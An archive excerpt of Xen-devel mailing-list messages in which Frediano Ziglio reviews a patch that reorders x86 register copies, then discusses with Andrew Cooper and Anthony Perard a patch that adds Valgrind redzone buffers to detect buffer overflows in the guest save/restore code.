X-Gm-Features: AUfX_mwEAxXRdDiAlPYDu3Vt-HjVHYW5ZqJXLp7psZ9IcTUQuigNNpMTa7PdrDo
Message-ID: <CAHt6W4fWtb9rtjq+fxkECAjB3m_ExkxXqqzDvSp-4g30JuYzig@mail.gmail.com>
Subject: Re: [PATCH] x86/domctl: Reorder user_regs accesses for efficiency
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: Xen-devel <xen-devel@lists.xenproject.org>, Jan Beulich <jbeulich@suse.com>, 
	=?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, 
	=?UTF-8?Q?Marek_Marczykowski=2DG=C3=B3recki?= <marmarek@invisiblethingslab.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-ebf023/1784541695-51CD7B50-683A3C6F/0/0
X-purgate-type: clean
X-purgate-size: 5548

On Mon, 20 Jul 2026 at 10:38, Andrew Cooper <andrew.cooper3@citrix.com> wro=
te:
>
> The current order is derived from expanding XLAT_cpu_user_regs() which us=
es
> the x86_32 cpu_user_regs order.  This is correct for one the blocks, but =
not
> the others.
>
> In order to work with the prefetcher, rather than against it, loads want =
to be
> in field order.  Make this so for the three paths reading an x86_64
> cpu_user_regs.
>
> No functional change.
>
> Reported-by: Jan Beulich <jbeulich@suse.com>
> Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
> ---
> CC: Jan Beulich <jbeulich@suse.com>
> CC: Roger Pau Monn=C3=A9 <roger.pau@citrix.com>
> CC: Teddy Astie <teddy.astie@vates.tech>
> CC: Marek Marczykowski-G=C3=B3recki <marmarek@invisiblethingslab.com>
> ---
>  xen/arch/x86/domain.c |  6 +++---
>  xen/arch/x86/domctl.c | 10 +++++-----
>  2 files changed, 8 insertions(+), 8 deletions(-)
>
> diff --git a/xen/arch/x86/domain.c b/xen/arch/x86/domain.c
> index 53a86ba373a4..996b50af7a17 100644
> --- a/xen/arch/x86/domain.c
> +++ b/xen/arch/x86/domain.c
> @@ -1259,17 +1259,17 @@ int arch_set_info_guest(
>          v->arch.user_regs.r14               =3D c.nat->user_regs.r14;
>          v->arch.user_regs.r13               =3D c.nat->user_regs.r13;
>          v->arch.user_regs.r12               =3D c.nat->user_regs.r12;
> +        v->arch.user_regs.rbp               =3D c.nat->user_regs.rbp;
> +        v->arch.user_regs.rbx               =3D c.nat->user_regs.rbx;
>          v->arch.user_regs.r11               =3D c.nat->user_regs.r11;
>          v->arch.user_regs.r10               =3D c.nat->user_regs.r10;
>          v->arch.user_regs.r9                =3D c.nat->user_regs.r9;
>          v->arch.user_regs.r8                =3D c.nat->user_regs.r8;
> -        v->arch.user_regs.rbx               =3D c.nat->user_regs.rbx;
> +        v->arch.user_regs.rax               =3D c.nat->user_regs.rax;
>          v->arch.user_regs.rcx               =3D c.nat->user_regs.rcx;
>          v->arch.user_regs.rdx               =3D c.nat->user_regs.rdx;
>          v->arch.user_regs.rsi               =3D c.nat->user_regs.rsi;
>          v->arch.user_regs.rdi               =3D c.nat->user_regs.rdi;
> -        v->arch.user_regs.rbp               =3D c.nat->user_regs.rbp;
> -        v->arch.user_regs.rax               =3D c.nat->user_regs.rax;
>          v->arch.user_regs.rip               =3D c.nat->user_regs.rip;
>          v->arch.user_regs.cs                =3D c.nat->user_regs.cs;
>          v->arch.user_regs.rflags            =3D (c.nat->user_regs.rflags=
 & X86_EFLAGS_ALL) | X86_EFLAGS_MBS;
> diff --git a/xen/arch/x86/domctl.c b/xen/arch/x86/domctl.c
> index 3ea4c650eee0..2ecd81d89b09 100644
> --- a/xen/arch/x86/domctl.c
> +++ b/xen/arch/x86/domctl.c
> @@ -1485,17 +1485,17 @@ void arch_get_info_guest(struct vcpu *v, vcpu_gue=
st_context_u c)
>          c.nat->user_regs.r14               =3D v->arch.user_regs.r14;
>          c.nat->user_regs.r13               =3D v->arch.user_regs.r13;
>          c.nat->user_regs.r12               =3D v->arch.user_regs.r12;
> +        c.nat->user_regs.rbp               =3D v->arch.user_regs.rbp;
> +        c.nat->user_regs.rbx               =3D v->arch.user_regs.rbx;
>          c.nat->user_regs.r11               =3D v->arch.user_regs.r11;
>          c.nat->user_regs.r10               =3D v->arch.user_regs.r10;
>          c.nat->user_regs.r9                =3D v->arch.user_regs.r9;
>          c.nat->user_regs.r8                =3D v->arch.user_regs.r8;
> -        c.nat->user_regs.rbx               =3D v->arch.user_regs.rbx;
> +        c.nat->user_regs.rax               =3D v->arch.user_regs.rax;
>          c.nat->user_regs.rcx               =3D v->arch.user_regs.rcx;
>          c.nat->user_regs.rdx               =3D v->arch.user_regs.rdx;
>          c.nat->user_regs.rsi               =3D v->arch.user_regs.rsi;
>          c.nat->user_regs.rdi               =3D v->arch.user_regs.rdi;
> -        c.nat->user_regs.rbp               =3D v->arch.user_regs.rbp;
> -        c.nat->user_regs.rax               =3D v->arch.user_regs.rax;
>          c.nat->user_regs.rip               =3D v->arch.user_regs.rip;
>          c.nat->user_regs.cs                =3D v->arch.user_regs.cs;
>          c.nat->user_regs.rflags            =3D v->arch.user_regs.rflags;
> @@ -1514,13 +1514,13 @@ void arch_get_info_guest(struct vcpu *v, vcpu_gue=
st_context_u c)
>      else
>      {
>          /* Backing memory is pre-zeroed. */
> +        c.cmp->user_regs.ebp               =3D v->arch.user_regs.ebp;
>          c.cmp->user_regs.ebx               =3D v->arch.user_regs.ebx;
> +        c.cmp->user_regs.eax               =3D v->arch.user_regs.eax;
>          c.cmp->user_regs.ecx               =3D v->arch.user_regs.ecx;
>          c.cmp->user_regs.edx               =3D v->arch.user_regs.edx;
>          c.cmp->user_regs.esi               =3D v->arch.user_regs.esi;
>          c.cmp->user_regs.edi               =3D v->arch.user_regs.edi;
> -        c.cmp->user_regs.ebp               =3D v->arch.user_regs.ebp;
> -        c.cmp->user_regs.eax               =3D v->arch.user_regs.eax;
>          c.cmp->user_regs.eip               =3D v->arch.user_regs.eip;
>          c.cmp->user_regs.cs                =3D v->arch.user_regs.cs;
>          c.cmp->user_regs.eflags            =3D v->arch.user_regs.eflags;

Reviewed-by: Frediano Ziglio <frediano.ziglio@citrix.com>

Frediano


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:11:43 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:11:43 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366442.1616326 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkyF-0001nn-Ib; Mon, 20 Jul 2026 10:11:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366442.1616326; Mon, 20 Jul 2026 10:11:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlkyF-0001ng-Fp; Mon, 20 Jul 2026 10:11:35 +0000
Received: by outflank-mailman (input) for mailman id 1366442;
 Mon, 20 Jul 2026 10:11:34 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wlkyE-0001na-86
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:11:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlkyD-00BFYG-EG
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:11:33 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5df444-2eae-0a2a0a5409dd-0a2a45099a04-48
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:11:33 +0200
Received: from [209.85.128.173] (helo=mail-yw1-f173.google.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5df454-be1a-0a2a45090019-d15580adb41f-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:11:33 +0200
Received: by mail-yw1-f173.google.com with SMTP id
 00721157ae682-81e9f7491ffso122572247b3.0
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 03:11:32 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784542292; cv=none;
        d=google.com; s=arc-20260327;
        b=jZbfnpZ6W2N/tK1cY+ob/wJ34u/bsTjrjEfdF6Tn//kjJm83KfnwR+CyYTST4coTFG
         uJBDGU+kPk2dA6H/SmHs4N3s9SJ8dFpm8XQdoVN4L0FAd8hePViLwjEtwxE1nnBJ31W1
         ljtZ0WUMDeswJo2GBpUpgWnElKXmlfsRVE/Nkh53EMTQXzqCg8n3IITlT8W9o65+WhJx
         nNJNgdVckvLbexyZt5Y08w7H5M8vTlllYsL2hLkOsEqZuEl+KCuQJzuBlUevVjavkWYi
         kHIJEdSm8N0tary6iGBU9frG0EcA7LJZ3v4WN8Mn2fsddrPtNJNR/GvE9xVRBFgbx4PW
         GBMw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=cc:to:subject:message-id:date:from:in-reply-to:references
         :mime-version:dkim-signature;
        bh=NXJHWPuAL4rkXjz51HNntRUzNe2yDQqqI6DSiDO6oVk=;
        fh=pmfIAu1zZ/y4MK+Ok8pH+KJi8l1vy8Cep5fL3L/xSOQ=;
        b=UjYKWNeehecMWy0s4MBeDvl7Zm6GBPX1n3HE9rfIXSR9biMyszHVCzk06/hr4hKOqd
         WBu1NGZyCiahXY5Y7o/mzsz78tEy1u5AlqKEbIm+SGZXYUhmnj7y5rIhGIZRAcUFl5MX
         CIxwagyDYSIicOa5mjscgLqpcmB5McEN7vHIVGS9u0bywHCEBoAtdhKlxHHESgvL8aZA
         78DRKZU03tO6MkG0i23wbukKIvvY+f2zg3JLGwei3+9WieWjN3wMK5BV2/rhJVk6foBq
         6zSC5XRT4WTaBQIZ5bwuqnh52JjAyAcGEHF5R3qkRWuORWrFGRw4hAhK/Kf415mwpGKb
         Gllw==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784542292; x=1785147092; darn=lists.xenproject.org;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=NXJHWPuAL4rkXjz51HNntRUzNe2yDQqqI6DSiDO6oVk=;
        b=b/1UyHAh7uDTfopkUfrUaNkR/SkTW6AGdmP6Q2wUOGMXkzyOnolG3N75D+Ct38JhSj
         KBQ8HncdCnCGb04VT328rD9Ug0H+FhwYXPrxqlceeJKOeSawczzzvbnccC2XLlrFKskN
         B5YtTA8AKi776HEw9T6sdioxfuhvKhmpk1wTwpZT2mIBM2isz9xY3TlStq6cypcBliHx
         jxlGt2vM1kVEmDkl13KhaQaZTVHTlX4Cv/Cu2C+nw+667lUAQ0Rnzfl+nkyLEtHpP1Gz
         +09J+FgfZB8Rou+5ylCHuZxP15f3UATyCSm/+noXet8M3reN3wGvgI5UnNCyOLMtPZui
         Wp8Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784542292; x=1785147092;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=NXJHWPuAL4rkXjz51HNntRUzNe2yDQqqI6DSiDO6oVk=;
        b=oVmkpzW3u5bJOZxhIoggCKkMCJr6/qaAM69nTRwpYrD2dROY7uQ+vmqDwOfTwWwCQc
         IgfkORVUAj1yjjJ95ZTtixR2LMMM0quAVGDsTb4vxo09ctxdh7W17ZEr4BSddTqvQyPG
         E1WLuAiTJTLgRHKSI8Qs3FvkY3/cIseDHkcgKK2eFP9A1bCxfrJLQC+vsxJ2VL8pUzgu
         4GNMFYmnS1q4Cc4aipW7m2AHBC72RuB8sGLPMnmJGkl2IDbQuAgprf+b1NXxEnEdjDDp
         Y3j7O/nqsLGA6nygamMv2jY7qhVr8liFbfV71dO6hZzzHq3nGH1HnB+/ClDKhi63cnYI
         TfwA==
X-Gm-Message-State: AOJu0Yy/DK4+KCkvlTCAGba3kCX5BiDhp1CoWl/hyqb/f6ivviqka8h2
	jECgshwLzls6txp3hquDEciMU8EjMnpQZl2y0RvX51CvmQnn6X7ELKFfr57FkfcxIeErNXQ4kfL
	V/noTQrV/21nAx0j7aP9pmCYkucga+AI=
X-Gm-Gg: AR+sD10ixIun8xfTBa5E0E3cV0xF5B8LqyH7EpwHiiTBkGLXLHlkDIopPe7Q/IS6CVy
	sjZZjGFNJeizo+T3MR7SM2AiJkiYSUg183tD3N05wU8qsb/uq5K1ZjvGpRTDIPjcCksM1DtrKgn
	1TrKCeqK+lQQHqAzB8RQBNIA4YUsBKV0yaPcEAPca3TnsD02Z6AcdVD+LV9hq23f7h12B1k1Q9Z
	KY5dyNTIwj6K9bxqGzsQWmdJwBn/gIsRaZmL2fyn4eslHhsh7bP4PfrGT+Of7nn4TcgiaTv5XxQ
	3fNeSkFECN7ucmBzbQ==
X-Received: by 2002:a05:690c:4b81:b0:81e:eaaa:535b with SMTP id
 00721157ae682-81ef2802b3cmr41469147b3.35.1784542291800; Mon, 20 Jul 2026
 03:11:31 -0700 (PDT)
MIME-Version: 1.0
References: <20260713204802.105115-1-frediano.ziglio@citrix.com>
 <20260713204802.105115-5-frediano.ziglio@citrix.com> <1f4c1217-ee5d-40fb-acfa-057b53a8dae0@citrix.com>
In-Reply-To: <1f4c1217-ee5d-40fb-acfa-057b53a8dae0@citrix.com>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Mon, 20 Jul 2026 11:11:19 +0100
X-Gm-Features: AUfX_mzGKL5ZLhSLnomYdSLwMSwU8-jv3Ophxs0HSI2Mr5cCZqCXZ-fXeQXiwYs
Message-ID: <CAHt6W4dRqQMjJbepygR8D1hbBF1WZ8iivX5MvAzdyYkvbnB63w@mail.gmail.com>
Subject: Re: [PATCH v9 4/4] libs/guest: use Valgrind to detect various buffer overflows
To: Andrew Cooper <andrew.cooper3@citrix.com>
Cc: xen-devel@lists.xenproject.org, 
	Frediano Ziglio <frediano.ziglio@citrix.com>, Jan Beulich <jbeulich@suse.com>, 
	=?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Anthony PERARD <anthony.perard@vates.tech>, 
	Juergen Gross <jgross@suse.com>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-bad1c0/1784542293-FD06B034-A11E5528/0/0
X-purgate-type: clean
X-purgate-size: 2077

On Wed, 15 Jul 2026 at 14:38, Andrew Cooper <andrew.cooper3@citrix.com> wrote:
>
> On 13/07/2026 9:48 pm, Frediano Ziglio wrote:
> > diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
> > index c07c6db59e..d3fc7f363e 100644
> > --- a/tools/libs/guest/xg_sr_common.h
> > +++ b/tools/libs/guest/xg_sr_common.h
> > @@ -245,13 +245,21 @@ struct xc_sr_context
> >              xc_hypercall_buffer_t dirty_bitmap_hbuf;
> >              struct xc_sr_context_save_buffers
> >              {
> > +                MEM_NOACCESS_BUFFER(na0, 16);
> >                  xen_pfn_t batch_pfns[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na1, 16);
> >                  xen_pfn_t mfns[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na2, 16);
> >                  xen_pfn_t types[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na3, 16);
> >                  void *local_pages[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na4, 16);
> >                  struct iovec iov[MAX_BATCH_SIZE + 2]; /* Headers + data. */
> > +                MEM_NOACCESS_BUFFER(na5, 16);
> >                  uint64_t rec_pfns[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na6, 16);
> >                  int errors[MAX_BATCH_SIZE];
> > +                MEM_NOACCESS_BUFFER(na7, 16);
>
> If you're going to do this, use 64 not 16, and put iov[] at the end.  It
> is good practice to misalign large buffers by one cacheline, not that I
> suspect the access pattern in this algorithm is relevant.
>

Easily doable. Why put "iov" at the end?

> But, I'm not sure of the utility of doing this.  By removing the dynamic
> allocations you also prevent ASAN from working.
>

It can be extended to ASAN using "sanitizer/asan_interface.h",
specifically "ASAN_POISON_MEMORY_REGION" macro.

> We either care about them all (and keep the dynamic allocations), or
> don't care, and get rid of it all.  This half-way-house serves no good
> purpose.
>
> ~Andrew

Why is a half-way-house ?

Frediano


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 10:17:41 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 10:17:41 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366450.1616335 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wll44-0002Mf-5I; Mon, 20 Jul 2026 10:17:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366450.1616335; Mon, 20 Jul 2026 10:17:36 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wll44-0002MY-2X; Mon, 20 Jul 2026 10:17:36 +0000
Received: by outflank-mailman (input) for mailman id 1366450;
 Mon, 20 Jul 2026 10:17:34 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <freddy77@gmail.com>) id 1wll42-0002MR-FS
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 10:17:34 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wll41-006I93-OI
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 12:17:33 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5df5af-e002-0a2a0a5209dd-0a2a45058aba-28
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:17:33 +0200
Received: from [209.85.128.176] (helo=mail-yw1-f176.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <freddy77@gmail.com>)
 id 6a5df5bc-4cb1-0a2a45050019-d15580b0f0a9-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 12:17:33 +0200
Received: by mail-yw1-f176.google.com with SMTP id
 00721157ae682-80bb41f7f3cso62055367b3.2
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 03:17:33 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Type:Cc:To:Subject:Message-ID:Date:From:In-Reply-To:References:MIME-Version"
ARC-Seal: i=1; a=rsa-sha256; t=1784542652; cv=none;
        d=google.com; s=arc-20260327;
        b=p6/8ZNg/+uSwfuxAv+Rs91TocFB3uMzuIuHHg/p5YloF/l9NbtdCnGJXlnB2Rb0ISd
         JNLb4KBj7UaDFQCJJWLDww5ye7fl6ClHZ/ImpfadjeRXjhhlGRS/0w1xdpRvRmlD031g
         TyKusQIa1ZqkgvQc0gwtrTY5vs0S518IKidMeMTSd87oApHwCm2f2Y35ccxIs92vXm28
         gnXti2XYIqTN9E3nR5TD69QnVzX78VAikbX5suwXd8qOCnPXWP1nt+ZygwSzSybN34Yr
         +61RoC2dDqaF+DqgqUwEzYnIBou4JMKJeR6WmpPo4CYhcP0mzy7DucIS9wD3lJKwf0CV
         jxcw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;
        h=cc:to:subject:message-id:date:from:in-reply-to:references
         :mime-version:dkim-signature;
        bh=sIdFPypWdhB+xjF33Q5NKaOAh49ovtZ9d59zSQmPtLw=;
        fh=aU3/UpxH5Blg8M5NzH55q/XY8irYVWQMVJdPeFRWhhg=;
        b=HWrLwcbWEHb28e0fuRacplz2dc5Z+GIX+m0FS//f/AuMz+oJhcN2vu89PW9ouD/Rg1
         RVQRH+xnd344ke08W920EolSXgoFFhJTKUtt00shH/SyxTJFALOdmPzOljO/6T3CwmTR
         ndcwOAxDJZtcAr7veoNyJedu4ulB6G0YBzGTh2iV/rxtAUquW5SWmwIcvJu1+O/L+dC7
         F/arBkn9oCA6y4oNd7OtAm/mlPKczirtQNiTNx7xH3bsVO6Vlq24aD/DaCjRHo63xQkN
         L0nLreSvVCv85mLdifFpg55N97TKJOdqr4QC3V7TUC4poLl+HVBdCuzFGvSIjVZ/G4t/
         rMhg==;
        darn=lists.xenproject.org
ARC-Authentication-Results: i=1; mx.google.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1784542652; x=1785147452; darn=lists.xenproject.org;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=sIdFPypWdhB+xjF33Q5NKaOAh49ovtZ9d59zSQmPtLw=;
        b=kBehtJIwCJwlC6O6WupeSeKjz5592yi+/TKZZdIRXWaK560J4p5PvN1oXA1jngXl4B
         QhiEYXr6Tkfh6IFmVB6mD0xWaYDgjYtZDDTLDP/9SomJTUYFJ57hOy7s155JloSVTVdy
         8yU6UTYZ73D+TMRAFSsRkXLITQ/UFRczEBx/9IkYSTSslDCRVligAs51MYUE/WrFAd+n
         OKQV8UrNx/m1RIWkoXr5wlvL4Hh0FcjNNOh72ENoQg2cf9BUtvnkVKeGUzdHEYtkvJTF
         qxP895Du9OTSD4jErlWfHIj1p8S5GAsf3zd/lATWlSl5dtAiB3uOeCZifOWcJ01h5KOI
         kdaw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784542652; x=1785147452;
        h=content-type:cc:to:subject:message-id:date:from:in-reply-to
         :references:mime-version:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=sIdFPypWdhB+xjF33Q5NKaOAh49ovtZ9d59zSQmPtLw=;
        b=YVMd3bA1jciX5l0WIHAgS9ykwlduRo+SyBvZI81emShbpjQA1MrPAmZVT+dnzA+X2u
         GsFoFzkmd4gfWhZcBTbvKmBdvnBpNmucUbp027Ucwt9Ra22uByzYCjTVl3JNjD/YBxQh
         unCFkpUjQpsVj5xWWXwUIQ/hme/vYf35vCGquJfAFRp3tKmn/e/uLEqvWSQChgStUFlf
         Brm+nsCFDKgvc+EJsd8SuSfZAxNwXDqmG59ieJ53Y7PkRWqXQ980jtD9kyFSKRheadBt
         xZRsE7mpAWOpkTEMCwfyslJ99gwr4STm5hdk+elbQX5NPJVfsH4j4mPqTSDt0r5+a7Tb
         wpeg==
X-Gm-Message-State: AOJu0Yxa7fUZARfHsp3zFEY4KfBrYRqgplCRLYTC0BCgT0kN6KVP4EAW
	XNRQ+iTLhoD7OLnhst9acxZ3I32MsGxCcnoII7ysXn36emuBPPOouBvd4CW85ZqAnNOSZLJVDuH
	XUsMaskexHogoytZ7rbiQq4CbSPVDZvmWmzY3M9M=
X-Gm-Gg: AR+sD10llLwSYBhZztdIyYk4pf/MwFLG6FUF7bw+HVNqbsL7M4ok5vdVbV8BIeLSUQQ
	rcgTOZiuRCaX1gyn7wzm+VxrTvGMNMtZVzTUb6QYs+lU64fuFQ+NReJzuMtRDOvQUNeARV8B3kt
	FxV5zXx6uDo+1pX3pGaQLZs7K673vMVRJBhpwjVokGQKsiqiWfDd9d7VCfTuONzwaFJVCBKznte
	T4+TBw+VYQJjIJu6I5g4r/DQQUegPhQNaDrotGBSggWHHMqwgXAPlhPDXN9tu9lQpN3pEXfOiTw
	+++ZAxyIk+w13gLVNw==
X-Received: by 2002:a05:690c:9692:b0:81e:be69:821f with SMTP id
 00721157ae682-81ef25151b7mr37466477b3.32.1784542651855; Mon, 20 Jul 2026
 03:17:31 -0700 (PDT)
MIME-Version: 1.0
References: <20260713204802.105115-1-frediano.ziglio@citrix.com>
 <20260713204802.105115-5-frediano.ziglio@citrix.com> <1784122342.8631fc262581453bbf619ec5b2062170.19f65fa7df1000edb5@vates.tech>
In-Reply-To: <1784122342.8631fc262581453bbf619ec5b2062170.19f65fa7df1000edb5@vates.tech>
From: Frediano Ziglio <freddy77@gmail.com>
Date: Mon, 20 Jul 2026 11:17:20 +0100
X-Gm-Features: AUfX_mwJTY94SUnEYKXtPpiQf2YvXYmdBKg8PmVMN6XKmkB0NPP8v5pq2gw3C1g
Message-ID: <CAHt6W4cD0F9GwZVEP=E3mygcQ=yHxgFU4ELg_wd5wb3ado0mxQ@mail.gmail.com>
Subject: Re: [PATCH v9 4/4] libs/guest: use Valgrind to detect various buffer overflows
To: Anthony PERARD <anthony.perard@vates.tech>
Cc: xen-devel@lists.xenproject.org, 
	Frediano Ziglio <frediano.ziglio@citrix.com>, Jan Beulich <jbeulich@suse.com>, 
	Andrew Cooper <andrew.cooper3@citrix.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>, 
	Teddy Astie <teddy.astie@vates.tech>, Juergen Gross <jgross@suse.com>
Content-Type: text/plain; charset="UTF-8"
X-purgate-ID: tlsNG-c201ff/1784542653-726B52A1-CFC76D28/0/0
X-purgate-type: clean
X-purgate-size: 4161

On Wed, 15 Jul 2026 at 14:32, Anthony PERARD <anthony.perard@vates.tech> wrote:
>
> On Mon, Jul 13, 2026 at 09:48:02PM +0100, Frediano Ziglio wrote:
> > --- a/tools/libs/ctrl/xc_private.h
> > +++ b/tools/libs/ctrl/xc_private.h
> > @@ -45,8 +45,16 @@
> >  #if defined(HAVE_VALGRIND_MEMCHECK_H) && !defined(NDEBUG) && !defined(__MINIOS__)
> >  /* Compile in Valgrind client requests? */
> >  #include <valgrind/memcheck.h>
> > +#define MEM_NOACCESS_BUFFER(name, size) uint8_t name[size];
> > +#define MEM_NOACCESS_INIT(field) \
> > +    VALGRIND_MAKE_MEM_NOACCESS(field, sizeof(field))
> > +#define MEM_UNDEFINED_INIT(field) \
> > +    VALGRIND_MAKE_MEM_UNDEFINED(field, sizeof(field))
> >  #else
> >  #define VALGRIND_MAKE_MEM_UNDEFINED(addr, len) /* addr, len */
> > +#define MEM_NOACCESS_BUFFER(name, size)
> > +#define MEM_NOACCESS_INIT(field) do {} while(0)
> > +#define MEM_UNDEFINED_INIT(field) do {} while(0)
>
> Why the _INIT suffix in the macros? It looks like something is
> initialised, but that's not the case.
>

It initializes the memory to be not accessible.

> We could follow the valgrind naming and do, while using something
> different than "mem" to say we don't need a size:
> make_buffer_noaccess and make_buffer_undefined
>
> Or
> mark_buffer_as_noaccess
> mark_buffer_as_undefined
>

It makes sense, but I wanted to be able to remove the buffers entirely
if debug is not enabled.

>
> >  #endif
> >
> >  #if defined(__MINIOS__)
> > diff --git a/tools/libs/guest/xg_sr_common.h b/tools/libs/guest/xg_sr_common.h
> > index c07c6db59e..d3fc7f363e 100644
> > --- a/tools/libs/guest/xg_sr_common.h
> > +++ b/tools/libs/guest/xg_sr_common.h
> > @@ -245,13 +245,21 @@ struct xc_sr_context
> >              xc_hypercall_buffer_t dirty_bitmap_hbuf;
> >              struct xc_sr_context_save_buffers
> >              {
> > +                MEM_NOACCESS_BUFFER(na0, 16);
>
> This first redzone buffer and the last (na7) one looks unnecessary, as
> they are before the beginning of the buffer, and after the end.
>

